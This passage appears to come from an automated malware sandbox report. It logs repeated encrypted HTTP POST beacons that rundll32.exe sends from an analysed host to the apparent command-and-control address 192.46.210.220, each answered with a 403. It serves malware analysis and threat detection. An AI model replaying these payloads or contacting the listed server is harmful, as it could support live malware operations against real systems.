2021-10-28 03:04:51 UTC	158	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:52 UTC	162	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:52 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49888	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:53 UTC	163	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:53 UTC	163	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:54 UTC	167	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49894	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:57 UTC	168	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:57 UTC	168	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:58 UTC	172	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49896	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:58 UTC	172	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:58 UTC	173	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:59 UTC	177	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:59 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49902	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:01 UTC	177	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:01 UTC	178	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:02 UTC	182	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:01 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49904	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:02 UTC	182	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:02 UTC	182	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:03 UTC	187	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:03 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49912	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:05 UTC	187	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:05 UTC	187	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:05 UTC	192	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:05 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49917	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:06 UTC	192	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:06 UTC	192	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:06 UTC	197	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49762	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:03:56 UTC	19	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:03:56 UTC	19	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:03:57 UTC	29	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:03:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49937	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:09 UTC	197	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:09 UTC	197	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:09 UTC	202	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49944	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:10 UTC	202	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:10 UTC	202	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:10 UTC	207	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49960	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:14 UTC	207	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:14 UTC	207	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:15 UTC	212	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:15 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49965	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:15 UTC	212	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:15 UTC	212	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:16 UTC	217	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49971	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:18 UTC	217	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:18 UTC	217	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:05:19 UTC	222	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:05:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49973	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:05:19 UTC	222	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:05:19 UTC	222	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 